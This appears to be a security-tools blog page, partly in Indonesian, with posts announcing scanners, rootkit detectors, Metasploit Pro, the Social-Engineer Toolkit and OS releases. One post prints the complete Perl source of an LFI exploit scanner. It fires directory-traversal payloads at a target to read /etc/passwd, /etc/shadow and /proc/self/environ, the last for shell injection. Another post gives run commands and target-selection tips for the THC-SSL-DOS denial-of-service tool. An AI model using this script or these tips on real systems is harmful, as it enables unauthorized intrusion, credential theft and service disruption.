Acunetix Web Vulnerability Scanner 8 BETA Released

The next stage in the evolution of Acunetix Web Vulnerability Scanner has arrived — WVS 8 BETA! Many of you have been biting their nails in anticipation of this Beta, so sit tight and read on for the next most important stage in the evolution of Acunetix WVS. Version 8 of Web Vulnerability Scanner has been optimized to make life easier at every stage of a security scan. WVS is easier to use for web admins and security analysts alike: enhanced automation, ability to save scan settings as a template to avoid reconfiguration, and multiple instance support for simultaneous scans of several websites. WVS 8 also ushers in a new exciting co-operation between Acunetix and Imperva: developers of the industry’s leading Web Application Firewall.

Download Acunetix WVS Version 8 BETA

[Read More...]

Joomscan Security Scanner - Detect more than 550 Joomla vulnerabilities

Joomscan Security Scanner updated recently with new database have 550 vulnerabilities. Detects file inclusion, sql injection, command execution vulnerabilities of a target Joomla web site. Last update for this tool was in August, 2009 with 466 vulnerabilities.

How to Use Joomscan, read here.

In joomscan you can check for new updates with command: ./joomscan.pl check or ./joomscan.pl update.

Download for Windows (141 KB)

Download for Linux (150 KB)

More Info

[Read More...]

Uniscan 5.2 is released - vulnerability scanner

Uniscan is a open source vulnerability scanner for Web applications. Uniscan 2.0 is a perl vulnerability scanner for RFI, LFI, RCE, XSS and SQL-injection.
features:

*Identification of system pages through a Web Crawler.
*Use of threads in the crawler.
*Control the maximum number of requests the crawler.
*Control of variation of system pages identified by Web Crawler.
*Control of file extensions that are ignored.
*Test of pages found via the GET method.
*Test the forms found via the POST method.
*Support for SSL requests (HTTPS).
*Proxy support.
*Generate site list using Google.
*Generate site list using Bing.
*Plug-in support for Crawler.
*Plug-in support for dynamic tests.
*Plug-in support for static tests.
*Plug-in support for stress tests.

DOWNLOAD UNISCAN 5.2

Tutorials to create your plug-ins:
http://www.uniscan.com.br/tutorial1.php

http://www.uniscan.com.br/tutorial2.php

http://www.uniscan.com.br/tutorial3.php

Source : http://thehackernews.com/2011/11/uniscan-52-is-released-vulnerability.html

[Read More...]

The Hacker’s Choice releases SSL DOS Tool

German hacker group “The Hacker’s Choice” officially released a new DDoS tool. The tool exploits a weakness in SSL to kick a server off the Internet.

Establishing a secure SSL connection requires 15x more processingpower on the server than on the client.THC-SSL-DOS exploits this asymmetric property by overloading theserver and knocking it off the Internet.This problem affects all SSL implementations today. The vendors are awareof this problem since 2003 and the topic has been widely discussed.This attack further exploits the SSL secure Renegotiation featureto trigger thousands of renegotiations via single TCP connection.

Download:
Windows binary: thc-ssl-dos-1.4-win-bin.zip
Unix Source : thc-ssl-dos-1.4.tar.gz

Usage:
Use "./configure; make all install" to build and Run : ./thc-ssl-dos 127.3.133.7 443
Tips & Tricks for whitehats
1. The average server can do 300 handshakes per second. This would require 10-25% of your laptops CPU.
2. Use multiple hosts (SSL-DOS) if an SSL Accelerator is used.
3. Be smart in target acquisition: The HTTPS Port (443) is not always the best choice. Other SSL enabled ports are more unlikely to use an SSL Accelerator (like the POP3S, SMTPS, ... or the secure database port).
Counter measurements:
No real solutions exists. The following steps can mitigate (but not solve) the problem:
1. Disable SSL-Renegotiation
2. Invest into SSL Accelerator

More details at THC.

[Read More...]

Black Viper LFI Scanner V.3.0

wah..saia telat nge-post nya...hahhaha nih dy nih LFI scanner yg saia temukan dri blog² n saia jg sdh coba..mnggunakan bhs perl..
====================================================================
#!/usr/bin/perl
#
# ////////////////////////////////////
# Viper LFI Scanner Ver. 3.0
# ////////////////////////////////////
#
# Title : Viper Lfi Scanner Ver. 3.0
# Author: Bl4ck.Viper
# From : Azarbycan
# Date : 2010/08/27
# Category : Scanner
# Home : www.Skote-vahshat.com
# Emails : Bl4ck.Viper@Yahoo.com , Bl4ck.Viper@Hotmail.com , Bl4ck.Viper@Gmail.com
#
#
# Description :Log , Environ , Passwd File Scanner
#
#
#*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

use HTTP::Request;
use LWP::UserAgent;
system ("cls");
print "\t\t/////////////////////////////////////////////////\n";
print "\t\t_________________________________________________\n";
print "\t\t\t Viper LFI Scanner Ver. 3.0\n";
print "\t\t\t Coded By Bl4ck.Viper\n";
print "\t\t\t Made In Azarbycan\n";
print "\t\t\t Version In English\n";
print "\t\t_________________________________________________\n";
print "\n\n";
sleep (1);
print "\t\t\t\t WELCOME\n";
print "\n\n";
menu:;
print "\tMenu:\n";
print "\t ID[1]=>Passwd,Log";
print "\t[Scan Files Of /etc/ Directory]\n";
print "\t ID[2]=>Environ";
print "\t\t[Scan Environ File For Inject Shell By U-Agent]\n";
print"\n";
print "\t\t Select ID For Start Scanner :";
$menu = <>;
if ($menu =~ /1/){
goto lfi;
}
if ($menu =~ /2/){
goto env;
}
else {
print"\n\n";
print "\t\tUnknow Command\n";
goto menu;
};


lfi:;
print "\n\n";
print "\t\t\tWelcome To /etc/ Section\n\n";
print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n";
print "\t Target :";
$host=;
chomp($host);
if($host !~ /http:\/\//) { $host = "http://$host"; };

print "\n\n";
print "\t\t*-*-*-*-*-* WORKING IN PROGRESS *-*-*-*-*-*\n";
print "\n\n";
@lfi = ('../etc/passwd',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../etc/passwd',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../etc/passwd',
'../etc/shadow',
'../../etc/shadow',
'../../../etc/shadow',
'../../../../etc/shadow',
'../../../../../etc/shadow',
'../../../../../../etc/shadow',
'../../../../../../../etc/shadow',
'../../../../../../../../etc/shadow',
'../../../../../../../../../etc/shadow',
'../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../../etc/shadow',
'../etc/shadow',
'../../etc/shadow',
'../../../etc/shadow',
'../../../../etc/shadow',
'../../../../../etc/shadow',
'../../../../../../etc/shadow',
'../../../../../../../etc/shadow',
'../../../../../../../../etc/shadow',
'../../../../../../../../../etc/shadow',
'../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../../etc/shadow',
'../etc/group',
'../../etc/group',
'../../../etc/group',
'../../../../etc/group',
'../../../../../etc/group',
'../../../../../../etc/group',
'../../../../../../../etc/group',
'../../../../../../../../etc/group',
'../../../../../../../../../etc/group',
'../../../../../../../../../../etc/group',
'../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../../etc/group',
'../etc/group',
'../../etc/group',
'../../../etc/group',
'../../../../etc/group',
'../../../../../etc/group',
'../../../../../../etc/group',
'../../../../../../../etc/group',
'../../../../../../../../etc/group',
'../../../../../../../../../etc/group',
'../../../../../../../../../../etc/group',
'../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../../etc/group',
'../etc/security/group',
'../../etc/security/group',
'../../../etc/security/group',
'../../../../etc/security/group',
'../../../../../etc/security/group',
'../../../../../../etc/security/group',
'../../../../../../../etc/security/group',
'../../../../../../../../etc/security/group',
'../../../../../../../../../etc/security/group',
'../../../../../../../../../../etc/security/group',
'../../../../../../../../../../../etc/security/group',
'../etc/security/group',
'../../etc/security/group',
'../../../etc/security/group',
'../../../../etc/security/group',
'../../../../../etc/security/group',
'../../../../../../etc/security/group',
'../../../../../../../etc/security/group',
'../../../../../../../../etc/security/group',
'../../../../../../../../../etc/security/group',
'../../../../../../../../../../etc/security/group',
'../../../../../../../../../../../etc/security/group',
'../etc/security/passwd',
'../../etc/security/passwd',
'../../../etc/security/passwd',
'../../../../etc/security/passwd',
'../../../../../etc/security/passwd',
'../../../../../../etc/security/passwd',
'../../../../../../../etc/security/passwd',
'../../../../../../../../etc/security/passwd',
'../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../../etc/security/passwd',
'../etc/security/passwd',
'../../etc/security/passwd',
'../../../etc/security/passwd',
'../../../../etc/security/passwd',
'../../../../../etc/security/passwd',
'../../../../../../etc/security/passwd',
'../../../../../../../etc/security/passwd',
'../../../../../../../../etc/security/passwd',
'../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../../etc/security/passwd',
'../etc/security/user',
'../../etc/security/user',
'../../../etc/security/user',
'../../../../etc/security/user',
'../../../../../etc/security/user',
'../../../../../../etc/security/user',
'../../../../../../../etc/security/user',
'../../../../../../../../etc/security/user',
'../../../../../../../../../etc/security/user',
'../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../../etc/security/user',
'../etc/security/user',
'../../etc/security/user',
'../../../etc/security/user',
'../../../../etc/security/user',
'../../../../../etc/security/user',
'../../../../../../etc/security/user',
'../../../../../../../etc/security/user',
'../../../../../../../../etc/security/user',
'../../../../../../../../../etc/security/user',
'../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../../etc/security/user');


foreach $scan(@lfi){

$url = $host.$scan;
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();

$response = $useragent->request($request);
if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerability;}
else { $msg = "Not Found";}
print "$scan..........[$msg]\n";
}
env:;
print "\n\n";
print "\t\t\tWelcom To Environ Section\n\n";
print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n";
print "\t Target :";
$host=;
chomp($host);
if($host !~ /http:\/\//) { $host = "http://$host"; };

print "\n\n";
print "\t\t*-*-*-*-*-* WORKING IN PROGRESS *-*-*-*-*-*\n";
print "\n\n";

@env = ('../proc/self/environ',
'../../proc/self/environ',
'../../../proc/self/environ',
'../../../../proc/self/environ',
'../../../../../proc/self/environ',
'../../../../../../proc/self/environ',
'../../../../../../../proc/self/environ',
'../../../../../../../../proc/self/environ',
'../../../../../../../../../proc/self/environ',
'../../../../../../../../../../proc/self/environ',
'../../../../../../../../../../../proc/self/environ',
'../../../../../../../../../../../../proc/self/environ',
'../../../../../../../../../../../../../proc/self/environ',
'../../../../../../../../../../../../../../proc/self/environ',
'../proc/self/environ',
'../../proc/self/environ',
'../../../proc/self/environ',
'../../../../proc/self/environ',
'../../../../../proc/self/environ',
'../../../../../../proc/self/environ',
'../../../../../../../proc/self/environ',
'../../../../../../../../proc/self/environ',
'../../../../../../../../../proc/self/environ',
'../../../../../../../../../../proc/self/environ',
'../../../../../../../../../../../proc/self/environ',
'../../../../../../../../../../../../proc/self/environ',
'../../../../../../../../../../../../../proc/self/environ',
'../../../../../../../../../../../../../../proc/self/environ');

foreach $scan_env(@env){

$url = $host.$scan_env;
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();

$response = $useragent->request($request);
if ($response->is_success && $response->content =~ /HTTP_ACCEPT/ && $response->content =~ /HTTP_HOST/) { $msg = Vulnerability;}
else { $msg = "Not Found";}
print "$scan_env..........[$msg]\n";
}


# Bl4ck.Viper Turkish Hacker
# Copyright 2010 Black Viper

====================================================================

[Read More...]

GFI SandBox - Powerful automated malware analysis

GFI SandBox™ (formerly CWSandbox) is an industry leading dynamic malware analysis tool. It gives you the power to analyze virtually any Windows application or file including infected: Office documents, PDFs, malicious URLs, Flash ads and custom applications.Targeted attacks, hacked websites, malicious Office documents, infected email attachments and social engineering are all part of the Internet threat landscape today. Only GFI SandBox™ gives you a complete view of every aspect and element of a threat, from infection vector to payload execution. And GFI SandBox can quickly and intelligently identify malicious behavior using Digital Behavior Traits™ technology.

Features
Dynamic threat analysis
Dynamic and threat analysis shows how applications execute on the desktop, what system changes were made, and the network traffic generated. When coupled with Digital Behavior Traits you get the ability to automatically identify malicious actions and quickly determine the behavior of a threat. GFI SandBox (formerly CWSandbox) analyzes the behavior inside a monitored environment while recording all malicious activity including, but not limited to: system changes, network traffic, file activity, memory dumps and screen shots. GFI SandBox doesn’t use or require emulation or virtualization.

Compare multiple analyses
GFI SandBox provides the ability to compare multiple analyses for differences and similarities. Samples can be sent to multiple SandBox configurations while centrally managing and automating the process. Side-by-side comparisons can be made across different desktop configurations and between different samples in one view.

True automation
Unlike most other analysis tools on the market today, GFI SandBox provides true automation that gives those on the front lines of cyber-defense and digital forensics the ability to analyze potential threats quickly, efficiently and in volume while saving organizations valuable time and resources.

Emulate, automate user interaction
By simulating how a user would interact when presented with a dialog box from fake or rogue applications, GFI SandBox automates what up until now has been a manual process. Traditionally, a researcher needed to manually analyze each threat on a case-by-case basis using a number of applications. The automation functions of GFI SandBox engage with the application, infected file or compromised website exactly as the malware expects a user to do and logs and analyzes all the resulting activity without any manual intervention.

A fraction of the time of conventional analysis
This end-to-end process automation enables security companies and enterprises to filter through potential threats in a consistent, automated manner, alleviating unnecessary demands on valuable resources.

DOWNLOAD

[Read More...]

The Social-Engineer Toolkit v2.0 Released

The Social Engineering Toolkit (SET) is a python-driven suite of custom tools which solely focuses on attacking the human element of penetration testing. It’s main purpose is to augment and simulate social-engineering attacks and allow the tester to effectively test how a targeted attack may succeed.

This is the official change log:

-Removed un-needed assignment in core around create random string
-Added the Binary2Teensy option in the Teensy menu, this will allow you to create a payload and inject alphanumeric shellcode through shellcodeexec in a new technique released at BSIDESLV
-Changed the path of metasploit to be /opt/msf3/framework3 versus /pentest/exploits/framework3
-Added the ability for multiple payloads in binary2teensy attack
-Added the ability to leverage the SDCard mounted Teensy device with payload generation without mounting the SDCard to the victim machine
-Fixed a bug where webattack_email turned on would not trigger based on a wrong path
-Updated the phishing attacks in the infectious media site and phishing site in the web GUI interface
-Updated the Wireless Access Point Attack to choose the monitor interface that is most recently created
-Changed the menu output, this is the first of many changes on how the menu interacts
-Added an X10 Sniffer into the Arduino based attack vectors
-Added an X10 Jammer into the Arduino based attack vectors
-Changed the menu option to reflect Arduino based attack vector versus Teensy
-Added a starttls check for authentication around sendmail
-Fixed a bug in mass mailer that would cause gmail to be set versus smtp relay
-Added the SD2Teensy OSX attack vector which targets OSX machines by dumping from the converts.txt storage drive on the teensy
-Added additional exploits into client-side attacks for the browser exploits
-Added additional exploits into the spear-phishing attacks

Download Social Engineering Toolkit v2.0

[Read More...]

DOD Launches New Cyber Strategy Website

The Department of Defense today launched a new website to highlight DoD’s first unified strategy for cyberspace announced on July 14. The website is a tool to help explain and consolidate DoD’s cybersecurity accomplishments and new way forward for military, intelligence and business operations in cyberspace.

The new website is designed to help users explore the five pillars of DoD’s cyber strategy: treating cyberspace as an operational domain; employing new defense operating concepts; partnering with the public and private sector; building international partnerships; and leveraging talent and innovation. Additional content includes links to cybersecurity jobs in government, key news items, press releases, and video of discussions on cybersecurity.

Source : http://www.defense.gov/home/features/2011/0411_cyberstrategy/

[Read More...]

Metasploit Pro 4.0 released - Enterprise Integration, Cloud Deployment & Automation

Rapid7 launched Metasploit Pro 4.0, a penetration testing solution that provides security professionals with a better view of their threat landscape by integrating with more than a dozen vulnerability management and Web application scanners, and by providing data to security information and event management (SIEM) systems through a documented interface.

This enables defenders to identify vulnerabilities that could lead to a data breach and prioritize their remediation more effectively. Security teams increase their productivity by spending less time fixing unimportant vulnerabilities and have an effective way to verify that remediation was successful.

The new capabilities in Metasploit Pro 4.0 now enable defenders to:

Integrate security risk intelligence

Integrate Metasploit Pro with your security information and event management (SIEM) system to improve your dashboard information
Import scan results from more than a dozen third-party Web application scanners and vulnerability assessment tools to prioritize vulnerabilities and eliminate false positives
Increase productivity in your security team by integrating Metasploit Pro with NeXpose vulnerability management solutions to directly access vulnerabilities that need to be verified
Automate verification of vulnerabilities and reporting through new programming interface and XML results
Document compliance with FISMA reports that map findings to controls and requirements.

Deploy in a way that works for you

Install on Windows, Ubuntu, or Red Hat Enterprise Linux
Provision a VMware image to your data centers with VMware vSphere
Host an Amazon Machine Image (AMI) in Amazon Elastic Compute Cloud (Amazon EC2).

Automate penetration testing steps

Automatically gather evidence with customizable post-exploitation macros
Re-establish dropped shells with persistent sessions and listeners
Replay previously successful attacks to verify remediation
Easily crack encrypted passwords offline
Remotely control Metasploit Pro through a programming Interface (RPC API)
Pull penetration testing reports from Metasploit Pro in an XML format.

[Read More...]

Red Hat updates Enterprise Linux 5.7

Red Hat has updated Enterprise Linux 5.7, which now includes several features from Red Hat Enterprise Linux 6.

The operating system processors supports deployments on Intel, AMD, POWER and IBM System z architectures.

Highlights of Red Hat Enterprise Linux 5.7 include:
Hardware enablement
Support for new hardware from Red Hat partners encompassing processors, chipsets and new drivers for storage, networking, and graphics allows Red Hat Enterprise Linux 5 deployments to benefit from new hardware platforms delivered in 2011, including Intel, AMD, POWER and IBM System z.


Virtualization improvements
Several virtualization enhancements in Red Hat Enterprise Linux 5.7 include improved migration performance for KVM, as well as several performance and scalability improvements for the Xen hypervisor.

SCAP support
OpenSCAP introduces support for the Security Content Automation Protocol, including a library and set of utilities, giving a standardized approach to validating Red Hat Enterprise Linux security.

Introducing Subscription Manager in Red Hat Enterprise Linux 5
First introduced to Red Hat Enterprise Linux 6.1 customers and now to Red Hat Enterprise Linux 5 customers, the new X.509 certificate-based Subscription Manager feature delivers Red Hat Enterprise Linux subscriptions and software services in a flexible, scalable, and secure way. The Subscription Manager tracks subscriptions assigned to a system and configures software updates for better availability and faster update speeds.

Networking and storage enhancements
Added features for network bridging and LDAP features for autofs improve centralized management of user filesystems in an enterprise environment.

Availability Fencing
New fencing features boost cluster reliability in Cisco UCS system and VMware environments.

Red Hat also offers a security framework based on the OpenSCAP Security Content Automation Protocol, including a library and set of utilities, giving a standardised approach to validating Red Hat Enterprise Linux security.

Other features include networking and storage enhancements. Red Hat Enterprise Linux 5.7 now offers network bridging and LDAP features for autofs, which Red Hat says improves centralised management of user file systems in an enterprise environment.

It also offers a fencing feature, which aims to boost cluster reliability in Cisco UCS system and VMware environments, according to Red Hat.

Red Hat Enterprise Linux 5.7 is available to subscription customers today and is accessible online using Red Hat Network or by using the Subscription Manager feature.

Red Hat Enterprise Linux updates are released approximately twice a year, following a defined seven-year lifecycle described here. Subscription options are available to extend the lifecycle of Red Hat Enterprise Linux for up to 10 years.

Source : http://www.computerweekly.com/Articles/2011/07/22/247374/Red-Hat-updates-Enterprise-Linux-5.7.htm

[Read More...]

Linux 3.0 Kernel Released - Download

A recent Google+ Post by Linus Torvalds indicates that version 3.0 of the Linux kernel will have to wait due to the discovery of a 'subtle pathname lookup bug.' Linus indicates, 'We have a patch, we understand the problem, and it looks ObviouslyCorrect(tm), but I don't think I want to release 3.0 just a couple of hours after applying it.

Officially marking the introduction of Linux 3.x, Linus Torvalds this evening announced the official release of Linux 3.0.

The Linux 3.0 kernel would have been released as the Linux 2.6.40 kernel, until the developers decided to end the 2.6 series and move forward with the 3.x series.

This Phoronix posting details some of the Linux 3.0 features, including file-system Cleancache support, initial Intel Ivy Bridge support, better open-source kernel graphics drivers, and many other hardware driver enhancements.

"So there it is. Gone are the 2.6. days, and 3.0 is out." Now it's time to start getting excited about the Linux 3.1 kernel. With the initial 3.1 kernel plans that were talked about yesterday, the merge window may be slightly off (longer or shorter) due to Linus Torvalds taking a holiday next week.

Download

[Read More...]

Damn Small SQLi Scanner (DSSS) v0.1b - 100 Lines Python Code Release

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It happens from using Microsoft SQL or other poorly designed query language interpreters.

Download the Source Code : here

Source : http://www.thehackernews.com/2011/07/damn-small-sqli-scanner-dsss-v01b-100.html

[Read More...]

PuTTY v.0.61 New Version released

wah...agan² skalian....putty v.0.6.1 tlah d release nih...mri kita coba apakah ad hal baru d putty yg baru ini...

dsini nih kelebihannya :
-Kerberos/GSSAPI authentication in SSH-2.
-Local X11 authorisation support on Windows. (Unix already had it, of course.)
-Support for non-fixed-width fonts on Windows.
-GTK 2 support on Unix.
-Specifying the logical host name independently of the physical network address to connect to.
-Crypto and flow control optimisations.
-Support for the zlib@openssh.com SSH-2 compression method.
-Support for new Windows 7 UI features: Aero resizing and jump lists.
-Support for OpenSSH AES-encrypted private key files in PuTTYgen.
-Bug fix: handles OpenSSH private keys with primes in either order.
-Bug fix: corruption of port forwarding is fixed (we think).
-Bug fix: various crashes and hangs when exiting on failure,
-Bug fix: hang in the serial back end on Windows.
-Bug fix: Windows clipboard is now read asynchronously, in case of deadlock due to the clipboard owner being at the far end of the same PuTTY's network connection (either via X forwarding or via tunnelled rdesktop).

Langsung download disini gan

[Read More...]

RootRepeal – Rootkit Detector v1.3.5 Release

RootRepeal is a new rootkit detector currently in public beta. It is designed with the following goals in mind:

Easy to use – a user with little to no computer experience should be able to use it.
Powerful – it should be able to detect all publicly available rootkits.
Stable – it should work on as many different system configurations as possible, and, in the event of an incompatibility, not crash the host computer.
Safe – it will not use any rootkit-like techniques (hooking, etc.) to protect itself.


Currently, RootRepeal includes the following features:
Driver Scan – scans the system for kernel-mode drivers. Displays all drivers currently loaded, and shows if a driver has been hidden, and whether the driver’s file is visible on-disk.
Files Scan – scans any fixed drive on the system for hidden, locked or falsified* files.
Processes Scan – scans the system for processes. Displays all processes currently running, and shows if a processes is hidden or locked.
SSDT Scan – shows whether any of the functions in the System Service Descriptor Table (SSDT) are hooked.
Stealth Objects Scan – attempts to determine if any rootkits are active by looking for typical symptoms.
Hidden Services Scan – scans for hidden system services.
Shadow SSDT Scan – counterpart to the SSDT Scan, but deals mostly with graphics and window-related functions.

RootRepeal is currently in public beta. Whereas every effort has been made to ensure compatibility with every system configuration on Windows 2000 , XP, 2003 and Vista, it cannot be guaranteed. There is always some risk when scanning for rootkits. Before running RootRepeal, please make sure you have backups of all important data and have saved all open documents.

Download HERE

[Read More...]

WPSCAN - WordPress Security & vulnerability Scanner

WPScan is a vulnerability scanner which checks the security of WordPress installations using a black box approach.

Details

Username enumeration (from author querystring and location header)
Weak password cracking (multithreaded)
Version enumeration (from generator meta tag)
Vulnerability enumeration (based on version)
Plugin enumeration (2220 most popular by default)
Plugin vulnerability enumeration (based on version) (todo)
Plugin enumeration list generation
Other misc WordPress checks (theme name, dir listing, ...)

You can download the tools here

[Read More...]

GMER - Automating Rootkit Analyzer Released

GMER is an application that detects and removes rootkits .

It scans for:
-hidden processes
-hidden threads
-hidden modules
-hidden services
-hidden files
-hidden disk sectors (MBR)
-hidden Alternate Data Streams
-hidden registry keys
-drivers hooking SSDT
-drivers hooking IDT
-drivers hooking IRP calls
-inline hooks

You can download GMER here

[Read More...]